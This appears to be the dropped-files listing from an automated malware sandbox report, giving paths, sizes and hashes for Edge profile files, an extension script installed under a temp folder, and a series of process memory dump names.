ed703cf6-fdb8-49fd-8c3d-b8cc2fa31b3b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\ed703cf6-fdb8-49fd-8c3d-b8cc2fa31b3b.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 faa3ac68d7122f2c085bd78c5e18d836d02efe4f4153b94ae925ea86038f3cd6
MD5 62d1f2103b4f74e42a99fb5eec480e0c
SHA1 499460adbb6e182b2a4f065e23003fa95cefb7f1
SHA512 be0614160ce109c7623454c727dca85a6e73cb6ce6a8c4d6b957c559d44533a07d9b62171ed9cdf35a5796a5d82222946f7961308847f3126eb729839c2bc90c
SSDEEP 768:Tj+9j3haggnkKL2ktbijF669yrqUjWiIwwxMtMb9Mzs:29j3TpjF66INWZTMub+zs
TLSH
T1D9F2AE707C559EB3C8E6DB85721337C7AFA011A786C80E88D6DDAB0D06876DC274782A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 d433965b6aefecdad366d7350cf42471292c4d3155147e8329ca023bb9347992
MD5 ef574870c33af2964bf0b332aacedf64
SHA1 56db317f801e90b3c23b229c932c2dac796b72b8
SHA512 ce17bc2f7ac8cc8c5a2f4107d9cd71b50fc7a68940ebfca4919bebd6f3f1e9d15a13ae34a69ebebfbbf73ed18c2bf692f4458b40c305e51ab7ad8a056e934e01
SSDEEP 768:frv+4UNbdl3wQkKL2ktbijF669yrqUjWiIwwxMtMUile0:fbsbX34RjF66INWZTMuUsz
TLSH
T17A03BF70A8589EB3CDF6D686715337C3BF7420A395C50F98CAD9A70D464B0C92B4B92B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 083392223e3cff079a56ae6188045f9488ae93b5395bdb08cb636cfaa063f6b4
MD5 4682e3b57fb6ec646cd9cab7defcf889
SHA1 3b438a83279a2d1fcfd59d2adca7c0bb89bc0dba
SHA512 ce04fcb24422dbcf940b113a64711a90c4aec778994947b8a95d46cdd215e84068d2e6a2f696609278030486a9f8b4c77fad78518360690e11ee57b0358940fe
SSDEEP 768:arv+4UNbdl3nPkKL21jF669yrqUjWiIwwxMRYXOUiler:absbX3sNjF66INWZTMWXOUsQ
TLSH
T16803CE35AC589AB7CDF2D68672533783BFB4109396C50B88CADC670D469B0DD2347A2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 ce9765ad74632acfaf2b176f3726ab1a5d7df2c07e20acace9a38cf128ec86af
MD5 6af09edd90722b1edbac1ca6c4928a2e
SHA1 21021dd0ab5972e0b21508abf641301979805be5
SHA512 3442d5e178a2171dae941f6505cbd0c8742dae33fa3259800b61d54b8ab9960e164725345348d9025296bbbfd533d6659ec6182f08e8e6fc42a22b22c9ec76f3
SSDEEP 768:nrv+4UNbdl3jaSgnkKL2ktbUjF669yrqUjWiIwwxMtMRGu:nbsbX3hRjF66INWZTMuUu
TLSH
T19603BFB0B8589EB3C8F6D785B11336C3BF7410A386C80F98DAD96B0D464B5D9274B927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 492b7669c463bc307ca8d72fbf9c4ea2c6f36bbf22c96a40f9d8e1ea7fe7a23a
MD5 aa848af23c1b0351199d4e120aa2f36a
SHA1 562d9c735ab881505687b6c3e227229cdc97c42d
SHA512 cc20f2d193ae7d647b2bc9b0fddc2e444871e1ec9947f9acd6b1746f05b6c3a36871624f1dad895cda6cacef3120af0c8456fa80e4059950e7e9f0401b8f807f
SSDEEP 768:Ij+9j36aggnkKL2ktbijF669yrqUjWiIwwxMtMb9Mzs:X9j3GpjF66INWZTMub+zs
TLSH
T1C6F2AE707C559EB3C8E6DB85721337C7AFA411A786C80E88D6DDAB0D06875DC274782A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 622a6b875a90c8971eb26028ed995583ef42b8e626e34f48ca1da87d34a07b0f
MD5 6bcd85aeb88e623e86970d94bf0a8ec9
SHA1 0063f043a94d2f76568b7f8f44756bd72fa4c1cf
SHA512 631afec3f44f1134fd4b3275d32bbb35568121720a434f68c7ca24b3ce50b15f8c452bc445604ed72e87fb81152e2ae025de55bcdfc29d3bbe606ce15339cc5e
SSDEEP 768:yF1j+9b3ewg+augGStbRnF669yrqUjWiIwwxMtMb9Mzs:H9b3qnF66INWZTMub+zs
TLSH
T1421329F198D78A77C89E8787633D2E869EBCD163B5884984F7C85E0CCC861BFD246815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

24e8e608-d684-43f0-9ded-71e8c9405025.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\24e8e608-d684-43f0-9ded-71e8c9405025.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4872_381012673\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1276-195-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1784-373-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2016-486-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2148-417-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2528-344-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2528-393-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2660-282-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2712-437-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2712-450-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2872-242-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2980-413-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3744-294-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4152-503-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4340-270-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4708-325-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4976-340-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5100-453-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5692-474-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5828-448-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5880-321-0x0000000000010000-0x0000000000083000-memory.dmp

Download